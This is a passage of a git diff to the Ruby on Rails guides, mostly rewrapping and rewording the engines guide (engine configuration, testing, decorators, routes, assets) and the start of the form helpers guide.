+different from the one created within the engine. Go ahead, play around with the
+newly mounted engine. You'll find that it's the same as when it was only an
+engine.
-If you would like to run migrations only from one engine, you can do it by specifying `SCOPE`:
+If you would like to run migrations only from one engine, you can do it by
+specifying `SCOPE`:
```bash
rake db:migrate SCOPE=blorgh
```
-This may be useful if you want to revert engine's migrations before removing it. In order to revert all migrations from blorgh engine you can run such code:
+This may be useful if you want to revert engine's migrations before removing it.
+To revert all migrations from blorgh engine you can run code such as:
```bash
rake db:migrate SCOPE=blorgh VERSION=0
```
-### Using a class provided by the application
+### Using a Class Provided by the Application
-#### Using a model provided by the application
+#### Using a Model Provided by the Application
-When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the `blorgh` engine, making posts and comments have authors would make a lot of sense.
+When an engine is created, it may want to use specific classes from an
+application to provide links between the pieces of the engine and the pieces of
+the application. In the case of the `blorgh` engine, making posts and comments
+have authors would make a lot of sense.
-A typical application might have a `User` class that would be used to represent authors for a post or a comment. But there could be a case where the application calls this class something different, such as `Person`. For this reason, the engine should not hardcode associations specifically for a `User` class.
+A typical application might have a `User` class that would be used to represent
+authors for a post or a comment. But there could be a case where the application
+calls this class something different, such as `Person`. For this reason, the
+engine should not hardcode associations specifically for a `User` class.
-To keep it simple in this case, the application will have a class called `User` which will represent the users of the application. It can be generated using this command inside the application:
+To keep it simple in this case, the application will have a class called `User`
+that represents the users of the application. It can be generated using this
+command inside the application:
```bash
rails g model user name:string
```
-The `rake db:migrate` command needs to be run here to ensure that our application has the `users` table for future use.
+The `rake db:migrate` command needs to be run here to ensure that our
+application has the `users` table for future use.
-Also, to keep it simple, the posts form will have a new text field called `author_name` where users can elect to put their name. The engine will then take this name and create a new `User` object from it or find one that already has that name, and then associate the post with it.
+Also, to keep it simple, the posts form will have a new text field called
+`author_name`, where users can elect to put their name. The engine will then
+take this name and either create a new `User` object from it, or find one that
+already has that name. The engine will then associate the post with the found or
+created `User` object.
-First, the `author_name` text field needs to be added to the `app/views/blorgh/posts/_form.html.erb` partial inside the engine. This can be added above the `title` field with this code:
+First, the `author_name` text field needs to be added to the
+`app/views/blorgh/posts/_form.html.erb` partial inside the engine. This can be
+added above the `title` field with this code:
```html+erb
<div class="field">
- <%= f.label :author_name %><br />
+ <%= f.label :author_name %><br>
<%= f.text_field :author_name %>
</div>
```
-The `Blorgh::Post` model should then have some code to convert the `author_name` field into an actual `User` object and associate it as that post's `author` before the post is saved. It will also need to have an `attr_accessor` setup for this field so that the setter and getter methods are defined for it.
+Next, we need to update our `Blorgh::PostController#post_params` method to
+permit the new form parameter:
+
+```ruby
+def post_params
+ params.require(:post).permit(:title, :text, :author_name)
+end
+```
+
+The `Blorgh::Post` model should then have some code to convert the `author_name`
+field into an actual `User` object and associate it as that post's `author`
+before the post is saved. It will also need to have an `attr_accessor` set up
+for this field, so that the setter and getter methods are defined for it.
-To do all this, you'll need to add the `attr_accessor` for `author_name`, the association for the author and the `before_save` call into `app/models/blorgh/post.rb`. The `author` association will be hard-coded to the `User` class for the time being.
+To do all this, you'll need to add the `attr_accessor` for `author_name`, the
+association for the author and the `before_save` call into
+`app/models/blorgh/post.rb`. The `author` association will be hard-coded to the
+`User` class for the time being.
```ruby
attr_accessor :author_name
@@ -536,7 +801,11 @@ private
end
```
-By defining that the `author` association's object is represented by the `User` class a link is established between the engine and the application. There needs to be a way of associating the records in the `blorgh_posts` table with the records in the `users` table. Because the association is called `author`, there should be an `author_id` column added to the `blorgh_posts` table.
+By representing the `author` association's object with the `User` class, a link
+is established between the engine and the application. There needs to be a way
+of associating the records in the `blorgh_posts` table with the records in the
+`users` table. Because the association is called `author`, there should be an
+`author_id` column added to the `blorgh_posts` table.
To generate this new column, run this command within the engine:
@@ -544,31 +813,41 @@ To generate this new column, run this command within the engine:
$ rails g migration add_author_id_to_blorgh_posts author_id:integer
```
-NOTE: Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this.
+NOTE: Due to the migration's name and the column specification after it, Rails
+will automatically know that you want to add a column to a specific table and
+write that into the migration for you. You don't need to tell it any more than
+this.
-This migration will need to be run on the application. To do that, it must first be copied using this command:
+This migration will need to be run on the application. To do that, it must first
+be copied using this command:
```bash
$ rake blorgh:install:migrations
```
-Notice here that only _one_ migration was copied over here. This is because the first two migrations were copied over the first time this command was run.
+Notice that only _one_ migration was copied over here. This is because the first
+two migrations were copied over the first time this command was run.
-```
-NOTE Migration [timestamp]_create_blorgh_posts.rb from blorgh has been skipped. Migration with the same name already exists.
-NOTE Migration [timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration with the same name already exists.
-Copied migration [timestamp]_add_author_id_to_blorgh_posts.rb from blorgh
+```
+NOTE Migration [timestamp]_create_blorgh_posts.rb from blorgh has been
+skipped. Migration with the same name already exists. NOTE Migration
+[timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration
+with the same name already exists. Copied migration
+[timestamp]_add_author_id_to_blorgh_posts.rb from blorgh
```
-Run this migration using this command:
+Run the migration using:
```bash
$ rake db:migrate
```
-Now with all the pieces in place, an action will take place that will associate an author — represented by a record in the `users` table — with a post, represented by the `blorgh_posts` table from the engine.
+Now with all the pieces in place, an action will take place that will associate
+an author - represented by a record in the `users` table - with a post,
+represented by the `blorgh_posts` table from the engine.
-Finally, the author's name should be displayed on the post's page. Add this code above the "Title" output inside `app/views/blorgh/posts/show.html.erb`:
+Finally, the author's name should be displayed on the post's page. Add this code
+above the "Title" output inside `app/views/blorgh/posts/show.html.erb`:
```html+erb
<p>
@@ -577,13 +856,15 @@ Finally, the author's name should be displayed on the post's page. Add this code
</p>
```
-By outputting `@post.author` using the `<%=` tag, the `to_s` method will be called on the object. By default, this will look quite ugly:
+By outputting `@post.author` using the `<%=` tag, the `to_s` method will be
+called on the object. By default, this will look quite ugly:
```
#<User:0x00000100ccb3b0>
```
-This is undesirable and it would be much better to have the user's name there. To do this, add a `to_s` method to the `User` class within the application:
+This is undesirable. It would be much better to have the user's name there. To
+do this, add a `to_s` method to the `User` class within the application:
```ruby
def to_s
@@ -591,50 +872,77 @@ def to_s
end
```
-Now instead of the ugly Ruby object output the author's name will be displayed.
+Now instead of the ugly Ruby object output, the author's name will be displayed.
-#### Using a controller provided by the application
+#### Using a Controller Provided by the Application
-Because Rails controllers generally share code for things like authentication and accessing session variables, by default they inherit from `ApplicationController`. Rails engines, however are scoped to run independently from the main application, so each engine gets a scoped `ApplicationController`. This namespace prevents code collisions, but often engine controllers should access methods in the main application's `ApplicationController`. An easy way to provide this access is to change the engine's scoped `ApplicationController` to inherit from the main application's `ApplicationController`. For our Blorgh engine this would be done by changing `app/controllers/blorgh/application_controller.rb` to look like:
+Because Rails controllers generally share code for things like authentication
+and accessing session variables, they inherit from `ApplicationController` by
+default. Rails engines, however are scoped to run independently from the main
+application, so each engine gets a scoped `ApplicationController`. This
+namespace prevents code collisions, but often engine controllers need to access
+methods in the main application's `ApplicationController`. An easy way to
+provide this access is to change the engine's scoped `ApplicationController` to
+inherit from the main application's `ApplicationController`. For our Blorgh
+engine this would be done by changing
+`app/controllers/blorgh/application_controller.rb` to look like:
```ruby
class Blorgh::ApplicationController < ApplicationController
end
```
-By default, the engine's controllers inherit from `Blorgh::ApplicationController`. So, after making this change they will have access to the main applications `ApplicationController` as though they were part of the main application.
+By default, the engine's controllers inherit from
+`Blorgh::ApplicationController`. So, after making this change they will have
+access to the main application's `ApplicationController`, as though they were
+part of the main application.
-This change does require that the engine is run from a Rails application that has an `ApplicationController`.
+This change does require that the engine is run from a Rails application that
+has an `ApplicationController`.
-### Configuring an engine
+### Configuring an Engine
-This section covers how to make the `User` class configurable, followed by general configuration tips for the engine.
+This section covers how to make the `User` class configurable, followed by
+general configuration tips for the engine.
-#### Setting configuration settings in the application
+#### Setting Configuration Settings in the Application
-The next step is to make the class that represents a `User` in the application customizable for the engine. This is because, as explained before, that class may not always be `User`. To make this customizable, the engine will have a configuration setting called `author_class` that will be used to specify what the class representing users is inside the application.
+The next step is to make the class that represents a `User` in the application
+customizable for the engine. This is because that class may not always be
+`User`, as previously explained. To make this setting customizable, the engine
+will have a configuration setting called `author_class` that will be used to
+specify which class represents users inside the application.
-To define this configuration setting, you should use a `mattr_accessor` inside the `Blorgh` module for the engine, located at `lib/blorgh.rb` inside the engine. Inside this module, put this line:
+To define this configuration setting, you should use a `mattr_accessor` inside
+the `Blorgh` module for the engine. Add this line to `lib/blorgh.rb` inside the
+engine:
```ruby
mattr_accessor :author_class
```
-This method works like its brothers `attr_accessor` and `cattr_accessor`, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using `Blorgh.author_class`.
+This method works like its brothers, `attr_accessor` and `cattr_accessor`, but
+provides a setter and getter method on the module with the specified name. To
+use it, it must be referenced using `Blorgh.author_class`.
-The next step is switching the `Blorgh::Post` model over to this new setting. For the `belongs_to` association inside this model (`app/models/blorgh/post.rb`), it will now become this:
+The next step is to switch the `Blorgh::Post` model over to this new setting.
+Change the `belongs_to` association inside this model
+(`app/models/blorgh/post.rb`) to this:
```ruby
belongs_to :author, class_name: Blorgh.author_class
```
-The `set_author` method also located in this class should also use this class:
+The `set_author` method in the `Blorgh::Post` model should also use this class:
```ruby
self.author = Blorgh.author_class.constantize.find_or_create_by(name: author_name)
```
-To save having to call `constantize` on the `author_class` result all the time, you could instead just override the `author_class` getter method inside the `Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the saved value before returning the result:
+To save having to call `constantize` on the `author_class` result all the time,
+you could instead just override the `author_class` getter method inside the
+`Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the
+saved value before returning the result:
```ruby
def self.author_class
@@ -648,82 +956,134 @@ This would then turn the above code for `set_author` into this:
self.author = Blorgh.author_class.find_or_create_by(name: author_name)
```
-Resulting in something a little shorter, and more implicit in its behavior. The `author_class` method should always return a `Class` object.
+Resulting in something a little shorter, and more implicit in its behavior. The
+`author_class` method should always return a `Class` object.
-Since we changed the `author_class` method to no longer return a
-`String` but a `Class` we must also modify our `belongs_to` definition
-in the `Blorgh::Post` model:
+Since we changed the `author_class` method to return a `Class` instead of a
+`String`, we must also modify our `belongs_to` definition in the `Blorgh::Post`
+model:
```ruby
belongs_to :author, class_name: Blorgh.author_class.to_s
```
-To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and calls the engine's models which may depend on this configuration setting existing.
+To set this configuration setting within the application, an initializer should
+be used. By using an initializer, the configuration will be set up before the
+application starts and calls the engine's models, which may depend on this
+configuration setting existing.
-Create a new initializer at `config/initializers/blorgh.rb` inside the application where the `blorgh` engine is installed and put this content in it:
+Create a new initializer at `config/initializers/blorgh.rb` inside the
+application where the `blorgh` engine is installed and put this content in it:
```ruby
Blorgh.author_class = "User"
```
-WARNING: It's very important here to use the `String` version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table, which could lead to problems if the table wasn't already existing. Therefore, a `String` should be used and then converted to a class using `constantize` in the engine later on.
+WARNING: It's very important here to use the `String` version of the class,
+rather than the class itself. If you were to use the class, Rails would attempt
+to load that class and then reference the related table. This could lead to
+problems if the table wasn't already existing. Therefore, a `String` should be
+used and then converted to a class using `constantize` in the engine later on.
-Go ahead and try to create a new post. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in `config/initializers/blorgh.rb` to learn what the class is.
+Go ahead and try to create a new post. You will see that it works exactly in the
+same way as before, except this time the engine is using the configuration
+setting in `config/initializers/blorgh.rb` to learn what the class is.
-There are now no strict dependencies on what the class is, only what the API for the class must be. The engine simply requires this class to define a `find_or_create_by` method which returns an object of that class to be associated with a post when it's created. This object, of course, should have some sort of identifier by which it can be referenced.
+There are now no strict dependencies on what the class is, only what the API for
+the class must be. The engine simply requires this class to define a
+`find_or_create_by` method which returns an object of that class, to be
+associated with a post when it's created. This object, of course, should have
+some sort of identifier by which it can be referenced.
-#### General engine configuration
+#### General Engine Configuration
-Within an engine, there may come a time where you wish to use things such as initializers, internationalization or other configuration options. The great news is that these things are entirely possible because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines!
+Within an engine, there may come a time where you wish to use things such as
+initializers, internationalization or other configuration options. The great
+news is that these things are entirely possible, because a Rails engine shares
+much the same functionality as a Rails application. In fact, a Rails
+application's functionality is actually a superset of what is provided by
+engines!
-If you wish to use an initializer — code that should run before the engine is
-loaded — the place for it is the `config/initializers` folder. This directory's
-functionality is explained in the
-[Initializers section](configuring.html#initializers) of the Configuring guide,
-and works precisely the same way as the `config/initializers` directory inside
-an application. Same goes for if you want to use a standard initializer.
+If you wish to use an initializer - code that should run before the engine is
+loaded - the place for it is the `config/initializers` folder. This directory's
+functionality is explained in the [Initializers
+section](configuring.html#initializers) of the Configuring guide, and works
+precisely the same way as the `config/initializers` directory inside an
+application. The same thing goes if you want to use a standard initializer.
-For locales, simply place the locale files in the `config/locales` directory, just like you would in an application.
+For locales, simply place the locale files in the `config/locales` directory,
+just like you would in an application.
Testing an engine
-----------------
-When an engine is generated there is a smaller dummy application created inside it at `test/dummy`. This application is used as a mounting point for the engine to make testing the engine extremely simple. You may extend this application by generating controllers, models or views from within the directory, and then use those to test your engine.
+When an engine is generated, there is a smaller dummy application created inside
+it at `test/dummy`. This application is used as a mounting point for the engine,
+to make testing the engine extremely simple. You may extend this application by
+generating controllers, models or views from within the directory, and then use
+those to test your engine.
-The `test` directory should be treated like a typical Rails testing environment, allowing for unit, functional and integration tests.
+The `test` directory should be treated like a typical Rails testing environment,
+allowing for unit, functional and integration tests.
-### Functional tests
+### Functional Tests
-A matter worth taking into consideration when writing functional tests is that the tests are going to be running on an application — the `test/dummy` application — rather than your engine. This is due to the setup of the testing environment; an engine needs an application as a host for testing its main functionality, especially controllers. This means that if you were to make a typical `GET` to a controller in a controller's functional test like this:
+A matter worth taking into consideration when writing functional tests is that
+the tests are going to be running on an application - the `test/dummy`
+application - rather than your engine. This is due to the setup of the testing
+environment; an engine needs an application as a host for testing its main
+functionality, especially controllers. This means that if you were to make a
+typical `GET` to a controller in a controller's functional test like this:
```ruby
get :index
```
-It may not function correctly. This is because the application doesn't know how to route these requests to the engine unless you explicitly tell it **how**. To do this, you must pass the `:use_route` option (as a parameter) on these requests also:
+It may not function correctly. This is because the application doesn't know how
+to route these requests to the engine unless you explicitly tell it **how**. To
+do this, you must also pass the `:use_route` option as a parameter on these
+requests:
```ruby
get :index, use_route: :blorgh
```
-This tells the application that you still want to perform a `GET` request to the `index` action of this controller, just that you want to use the engine's route to get there, rather than the application.
+This tells the application that you still want to perform a `GET` request to the
+`index` action of this controller, but you want to use the engine's route to get
+there, rather than the application's one.
+
+Another way to do this is to assign the `@routes` instance variable to `Engine.routes` in your test setup:
+
+```ruby
+setup do
+ @routes = Engine.routes
+end
+```
+
+This will also ensure url helpers for the engine will work as expected in your tests.
Improving engine functionality
------------------------------
-This section explains how to add and/or override engine MVC functionality in the main Rails application.
+This section explains how to add and/or override engine MVC functionality in the
+main Rails application.
### Overriding Models and Controllers
-Engine model and controller classes can be extended by open classing them in the main Rails application (since model and controller classes are just Ruby classes that inherit Rails specific functionality). Open classing an Engine class redefines it for use in the main application. This is usually implemented by using the decorator pattern.
+Engine model and controller classes can be extended by open classing them in the
+main Rails application (since model and controller classes are just Ruby classes
+that inherit Rails specific functionality). Open classing an Engine class
+redefines it for use in the main application. This is usually implemented by
+using the decorator pattern.
-For simple class modifications use `Class#class_eval`, and for complex class modifications, consider using `ActiveSupport::Concern`.
+For simple class modifications, use `Class#class_eval`. For complex class
+modifications, consider using `ActiveSupport::Concern`.
-#### A note on Decorators and loading code
+#### A note on Decorators and Loading Code
Because these decorators are not referenced by your Rails application itself,
-Rails' autoloading system will not kick in and load your decorators. This
-means that you need to require them yourself.
+Rails' autoloading system will not kick in and load your decorators. This means
+that you need to require them yourself.
Here is some sample code to do this:
@@ -747,7 +1107,7 @@ that isn't referenced by your main application.
#### Implementing Decorator Pattern Using Class#class_eval
-**Adding** `Post#time_since_created`,
+**Adding** `Post#time_since_created`:
```ruby
# MyApp/app/decorators/models/blorgh/post_decorator.rb
@@ -768,7 +1128,7 @@ end
```
-**Overriding** `Post#summary`
+**Overriding** `Post#summary`:
```ruby
# MyApp/app/decorators/models/blorgh/post_decorator.rb
@@ -793,9 +1153,13 @@ end
#### Implementing Decorator Pattern Using ActiveSupport::Concern
-Using `Class#class_eval` is great for simple adjustments, but for more complex class modifications, you might want to consider using [`ActiveSupport::Concern`](http://edgeapi.rubyonrails.org/classes/ActiveSupport/Concern.html). ActiveSupport::Concern manages load order of interlinked dependent modules and classes at run time allowing you to significantly modularize your code.
+Using `Class#class_eval` is great for simple adjustments, but for more complex
+class modifications, you might want to consider using [`ActiveSupport::Concern`]
+(http://edgeapi.rubyonrails.org/classes/ActiveSupport/Concern.html).
+ActiveSupport::Concern manages load order of interlinked dependent modules and
+classes at run time allowing you to significantly modularize your code.
-**Adding** `Post#time_since_created` and **Overriding** `Post#summary`
+**Adding** `Post#time_since_created` and **Overriding** `Post#summary`:
```ruby
# MyApp/app/models/blorgh/post.rb
@@ -828,7 +1192,7 @@ module Blorgh::Concerns::Models::Post
extend ActiveSupport::Concern
# 'included do' causes the included code to be evaluated in the
- # context where it is included (post.rb), rather than be
+ # context where it is included (post.rb), rather than being
# executed in the module's context (blorgh/concerns/models/post).
included do
attr_accessor :author_name
@@ -837,7 +1201,6 @@ module Blorgh::Concerns::Models::Post
before_save :set_author
private
-
def set_author
self.author = User.find_or_create_by(name: author_name)
end
@@ -855,15 +1218,23 @@ module Blorgh::Concerns::Models::Post
end
```
-### Overriding views
+### Overriding Views
-When Rails looks for a view to render, it will first look in the `app/views` directory of the application. If it cannot find the view there, then it will check in the `app/views` directories of all engines which have this directory.
+When Rails looks for a view to render, it will first look in the `app/views`
+directory of the application. If it cannot find the view there, it will check in
+the `app/views` directories of all engines that have this directory.
-In the `blorgh` engine, there is a currently a file at `app/views/blorgh/posts/index.html.erb`. When the engine is asked to render the view for `Blorgh::PostsController`'s `index` action, it will first see if it can find it at `app/views/blorgh/posts/index.html.erb` within the application and then if it cannot it will look inside the engine.
+When the application is asked to render the view for `Blorgh::PostsController`'s
+index action, it will first look for the path
+`app/views/blorgh/posts/index.html.erb` within the application. If it cannot
+find it, it will look inside the engine.
-You can override this view in the application by simply creating a new file at `app/views/blorgh/posts/index.html.erb`. Then you can completely change what this view would normally output.
+You can override this view in the application by simply creating a new file at
+`app/views/blorgh/posts/index.html.erb`. Then you can completely change what
+this view would normally output.
-Try this now by creating a new file at `app/views/blorgh/posts/index.html.erb` and put this content in it:
+Try this now by creating a new file at `app/views/blorgh/posts/index.html.erb`
+and put this content in it:
```html+erb
<h1>Posts</h1>
@@ -878,9 +1249,13 @@ Try this now by creating a new file at `app/views/blorgh/posts/index.html.erb` a
### Routes
-Routes inside an engine are, by default, isolated from the application. This is done by the `isolate_namespace` call inside the `Engine` class. This essentially means that the application and its engines can have identically named routes and they will not clash.
+Routes inside an engine are isolated from the application by default. This is
+done by the `isolate_namespace` call inside the `Engine` class. This essentially
+means that the application and its engines can have identically named routes and
+they will not clash.
-Routes inside an engine are drawn on the `Engine` class within `config/routes.rb`, like this:
+Routes inside an engine are drawn on the `Engine` class within
+`config/routes.rb`, like this:
```ruby
Blorgh::Engine.routes.draw do
@@ -888,43 +1263,71 @@ Blorgh::Engine.routes.draw do
end
```
-By having isolated routes such as this, if you wish to link to an area of an engine from within an application, you will need to use the engine's routing proxy method. Calls to normal routing methods such as `posts_path` may end up going to undesired locations if both the application and the engine both have such a helper defined.
+By having isolated routes such as this, if you wish to link to an area of an
+engine from within an application, you will need to use the engine's routing
+proxy method. Calls to normal routing methods such as `posts_path` may end up
+going to undesired locations if both the application and the engine have such a
+helper defined.
-For instance, the following example would go to the application's `posts_path` if that template was rendered from the application, or the engine's `posts_path` if it was rendered from the engine:
+For instance, the following example would go to the application's `posts_path`
+if that template was rendered from the application, or the engine's `posts_path`
+if it was rendered from the engine:
```erb
<%= link_to "Blog posts", posts_path %>
```
-To make this route always use the engine's `posts_path` routing helper method, we must call the method on the routing proxy method that shares the same name as the engine.
+To make this route always use the engine's `posts_path` routing helper method,
+we must call the method on the routing proxy method that shares the same name as
+the engine.
```erb
<%= link_to "Blog posts", blorgh.posts_path %>
```
-If you wish to reference the application inside the engine in a similar way, use the `main_app` helper:
+If you wish to reference the application inside the engine in a similar way, use
+the `main_app` helper:
```erb
<%= link_to "Home", main_app.root_path %>
```
-If you were to use this inside an engine, it would **always** go to the application's root. If you were to leave off the `main_app` "routing proxy" method call, it could potentially go to the engine's or application's root, depending on where it was called from.
+If you were to use this inside an engine, it would **always** go to the
+application's root. If you were to leave off the `main_app` "routing proxy"
+method call, it could potentially go to the engine's or application's root,
+depending on where it was called from.
-If a template is rendered from within an engine and it's attempting to use one of the application's routing helper methods, it may result in an undefined method call. If you encounter such an issue, ensure that you're not attempting to call the application's routing methods without the `main_app` prefix from within the engine.
+If a template rendered from within an engine attempts to use one of the
+application's routing helper methods, it may result in an undefined method call.
+If you encounter such an issue, ensure that you're not attempting to call the
+application's routing methods without the `main_app` prefix from within the
+engine.
### Assets
-Assets within an engine work in an identical way to a full application. Because the engine class inherits from `Rails::Engine`, the application will know to look up in the engine's `app/assets` and `lib/assets` directories for potential assets.
+Assets within an engine work in an identical way to a full application. Because
+the engine class inherits from `Rails::Engine`, the application will know to
+look up assets in the engine's 'app/assets' and 'lib/assets' directories.
-Much like all the other components of an engine, the assets should also be namespaced. This means if you have an asset called `style.css`, it should be placed at `app/assets/stylesheets/[engine name]/style.css`, rather than `app/assets/stylesheets/style.css`. If this asset wasn't namespaced, then there is a possibility that the host application could have an asset named identically, in which case the application's asset would take precedence and the engine's one would be all but ignored.
+Like all of the other components of an engine, the assets should be namespaced.
+This means that if you have an asset called `style.css`, it should be placed at
+`app/assets/stylesheets/[engine name]/style.css`, rather than
+`app/assets/stylesheets/style.css`. If this asset isn't namespaced, there is a
+possibility that the host application could have an asset named identically, in
+which case the application's asset would take precedence and the engine's one
+would be ignored.
-Imagine that you did have an asset located at `app/assets/stylesheets/blorgh/style.css` To include this asset inside an application, just use `stylesheet_link_tag` and reference the asset as if it were inside the engine:
+Imagine that you did have an asset located at
+`app/assets/stylesheets/blorgh/style.css` To include this asset inside an
+application, just use `stylesheet_link_tag` and reference the asset as if it
+were inside the engine:
```erb
<%= stylesheet_link_tag "blorgh/style.css" %>
```
-You can also specify these assets as dependencies of other assets using the Asset Pipeline require statements in processed files:
+You can also specify these assets as dependencies of other assets using Asset
+Pipeline require statements in processed files:
```
/*
@@ -932,16 +1335,21 @@ You can also specify these assets as dependencies of other assets using the Asse
*/
```
-INFO. Remember that in order to use languages like Sass or CoffeeScript, you should add the relevant library to your engine's `.gemspec`.
+INFO. Remember that in order to use languages like Sass or CoffeeScript, you
+should add the relevant library to your engine's `.gemspec`.
### Separate Assets & Precompiling
-There are some situations where your engine's assets are not required by the host application. For example, say that you've created
-an admin functionality that only exists for your engine. In this case, the host application doesn't need to require `admin.css`
-or `admin.js`. Only the gem's admin layout needs these assets. It doesn't make sense for the host app to include `"blorg/admin.css"` in it's stylesheets. In this situation, you should explicitly define these assets for precompilation.
-This tells sprockets to add your engine assets when `rake assets:precompile` is ran.
+There are some situations where your engine's assets are not required by the
+host application. For example, say that you've created an admin functionality
+that only exists for your engine. In this case, the host application doesn't
+need to require `admin.css` or `admin.js`. Only the gem's admin layout needs
+these assets. It doesn't make sense for the host app to include
+`"blorgh/admin.css"` in its stylesheets. In this situation, you should
+explicitly define these assets for precompilation. This tells sprockets to add
+your engine assets when `rake assets:precompile` is triggered.
-You can define assets for precompilation in `engine.rb`
+You can define assets for precompilation in `engine.rb`:
```ruby
initializer "blorgh.assets.precompile" do |app|
@@ -949,15 +1357,15 @@ initializer "blorgh.assets.precompile" do |app|
end
```
-For more information, read the [Asset Pipeline guide](asset_pipeline.html)
+For more information, read the [Asset Pipeline guide](asset_pipeline.html).
-### Other gem dependencies
+### Other Gem Dependencies
-Gem dependencies inside an engine should be specified inside the
-`.gemspec` file at the root of the engine. The reason is that the engine may
-be installed as a gem. If dependencies were to be specified inside the `Gemfile`,
-these would not be recognized by a traditional gem install and so they would not
-be installed, causing the engine to malfunction.
+Gem dependencies inside an engine should be specified inside the `.gemspec` file
+at the root of the engine. The reason is that the engine may be installed as a
+gem. If dependencies were to be specified inside the `Gemfile`, these would not
+be recognized by a traditional gem install and so they would not be installed,
+causing the engine to malfunction.
To specify a dependency that should be installed with the engine during a
traditional `gem install`, specify it inside the `Gem::Specification` block
@@ -975,11 +1383,12 @@ s.add_development_dependency "moo"
```
Both kinds of dependencies will be installed when `bundle install` is run inside
-the application. The development dependencies for the gem will only be used when
-the tests for the engine are running.
+of the application. The development dependencies for the gem will only be used
+when the tests for the engine are running.
Note that if you want to immediately require dependencies when the engine is
-required, you should require them before the engine's initialization. For example:
+required, you should require them before the engine's initialization. For
+example:
```ruby
require 'other_engine/engine'
diff --git a/guides/source/form_helpers.md b/guides/source/form_helpers.md
index 7f37a298b1..027b6303fc 100644
--- a/guides/source/form_helpers.md
+++ b/guides/source/form_helpers.md
@@ -1,16 +1,16 @@
Form Helpers
============
-Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails does away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.
+Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of the need to handle form control naming and its numerous attributes. Rails does away with this complexity by providing view helpers for generating form markup. However, since these helpers have different use cases, developers need to know the differences between the helper methods before putting them to use.
After reading this guide, you will know:
* How to create search forms and similar kind of generic forms not representing any specific model in your application.
-* How to make model-centric forms for creation and editing of specific database records.
+* How to make model-centric forms for creating and editing specific database records.
* How to generate select boxes from multiple types of data.
-* The date and time helpers Rails provides.
+* What date and time helpers Rails provides.
* What makes a file upload form different.
-* Some cases of building forms to external resources.
+* How to post forms to external resources and specify setting an `authenticity_token`.
* How to build complex forms.
--------------------------------------------------------------------------------
@@ -67,7 +67,7 @@ To create this form you will use `form_tag`, `label_tag`, `text_field_tag`, and
This will generate the following HTML:
```html
-<form accept-charset="UTF-8" action="/search" method="get">
+<form accept-charset="UTF-8" action="/search" method="get"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /></div>
<label for="q">Search for:</label>
<input id="q" name="q" type="text" />
<input name="commit" type="submit" value="Search" />
@@ -146,7 +146,7 @@ Output:
<label for="age_adult">I'm over 21</label>
```
-As with `check_box_tag`, the second parameter to `radio_button_tag` is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one, and `params[:age]` will contain either "child" or "adult".
+As with `check_box_tag`, the second parameter to `radio_button_tag` is the value of the input. Because these two radio buttons share the same name (`age`), the user will only be able to select one of them, and `params[:age]` will contain either "child" or "adult".
NOTE: Always use labels for checkbox and radio buttons. They associate text with a specific option and,
by expanding the clickable region,
@@ -154,7 +154,10 @@ make it easier for users to click the inputs.
### Other Helpers of Interest
-Other form controls worth mentioning are textareas, password fields, hidden fields, search fields, telephone fields, date fields, time fields, color fields, datetime fields, datetime-local fields, month fields, week fields, URL fields and email fields:
+Other form controls worth mentioning are textareas, password fields,
+hidden fields, search fields, telephone fields, date fields, time fields,
+color fields, datetime fields, datetime-local fields, month fields, week fields,
+URL fields, email fields, number fields and range fields:
```erb
<%= text_area_tag(:message, "Hi, nice site", size: "24x6") %>
@@ -171,6 +174,8 @@ Other form controls worth mentioning are textareas, password fields, hidden fiel
<%= email_field(:user, :address) %>
<%= color_field(:user, :favorite_color) %>
<%= time_field(:task, :started_at) %>
+<%= number_field(:product, :price, in: 1.0..20.0, step: 0.5) %>
+<%= range_field(:product, :discount, in: 1..100) %>
```
Output:
@@ -190,11 +195,20 @@ Output:
<input id="user_address" name="user[address]" type="email" />
<input id="user_favorite_color" name="user[favorite_color]" type="color" value="#000000" />
<input id="task_started_at" name="task[started_at]" type="time" />
+<input id="product_price" max="20.0" min="1.0" name="product[price]" step="0.5" type="number" />
+<input id="product_discount" max="100" min="1" name="product[discount]" type="range" />
```
Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript.
-IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, month, week, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are [Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/), which provide a simple way to add functionality based on the presence of detected HTML5 features.
+IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local,
+month, week, URL, email, number and range inputs are HTML5 controls.
+If you require your app to have a consistent experience in older browsers,
+you will need an HTML5 polyfill (provided by CSS and/or JavaScript).
+There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are
+[Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/),
+which provide a simple way to add functionality based on the presence of
+detected HTML5 features.
TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the [Security Guide](security.html#logging).
@@ -290,7 +304,7 @@ The object yielded by `fields_for` is a form builder like the one yielded by `fo
### Relying on Record Identification
-The Article model is directly available to users of the application, so — following the best practices for developing with Rails — you should declare it **a resource**:
